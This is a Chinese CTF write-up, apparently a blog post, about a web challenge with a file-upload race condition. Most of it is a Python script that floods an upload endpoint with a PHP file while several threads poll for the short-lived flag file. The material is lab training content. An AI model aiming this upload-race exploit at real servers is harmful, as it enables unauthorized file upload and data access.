【CTF】年轻人手速太慢了
原创
devildollking
devildollking
熔城Sec
2026年11月25日 10:00
辽宁
去阅读
01
题目简介
- 题目名称:年轻人手速太慢了
- 题目平台:CTF²
- 题目类型:Web
02
解题步骤
启动并访问靶机
题目给出提示:查看文件的机会转瞬即逝,你能抓到吗?
我们随便传一个文件上去看一下
发现上传的文件都被删除了,并且看到flag存在的位置是testfile.txt,所以需要我们进行条件竞争,上传的通知进行读去的操作,接下来构造payload
#!/usr/bin/env python3# 用法: python solve.py http://xxx.http-ctf2.dasctf.com# 原理: 上传让 /testfile.txt 短暂出现,多线程狂读,读到 CTF2{ 就停import sys, time, random, threading, http.client
HOST = sys.argv[1].split(\"//\")[-1].strip(\"/\")h, _, p = HOST.partition(\":\")PORT = int(p) if p.isdigit() else 80BOUND = \"----x\"PAY = b'<?php error_reporting(0);echo \"M\".\"ARK|\";'done = threading.Event()once = threading.Lock()
def req(method, path, body=None, ctype=None): c = http.client.HTTPConnection(h, PORT, timeout=5) try: hd = {\"Cache-Control\": \"no-cache\"} if ctype: hd[\"Content-Type\"] = ctype c.request(method, path, body=body, headers=hd) return c.getresponse().read().decode(\"utf-8\", \"replace\") finally: c.close()
def uploader(): body = ('--%s\\r\
Content-Disposition: form-data; name=\"file\"; filename=\"1.php\"\\r\
' 'Content-Type: application/octet-stream\\r\
\\r\
' % BOUND).encode() + PAY \\ + ('\\r\
--%s--\\r\
' % BOUND).encode() ctype = \"multipart/form-data; boundary=\" + BOUND while not done.is_set(): try: req(\"POST\", \"/upload_file.php\", body, ctype) except Exception: pass time.sleep(0.05)
def reader(): while not done.is_set(): try: r = req(\"GET\", \"/testfile.txt?t=%d\" % random.randint(0, 1 << 30)) except Exception: continue if \"CTF2{\" in r: with once: # 6 个读线程可能同时命中,只打印一次 if done.is_set(): return print(r.strip(), flush=True) done.set() return
threading.Thread(target=uploader, daemon=True).start()for _ in range(6): threading.Thread(target=reader, daemon=True).start()done.wait(120)
运行一下脚本,得到flag
python solve_min.py http://d1c1eef0af07a41afb2c1639.http-ctf2.dasctf.com/
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论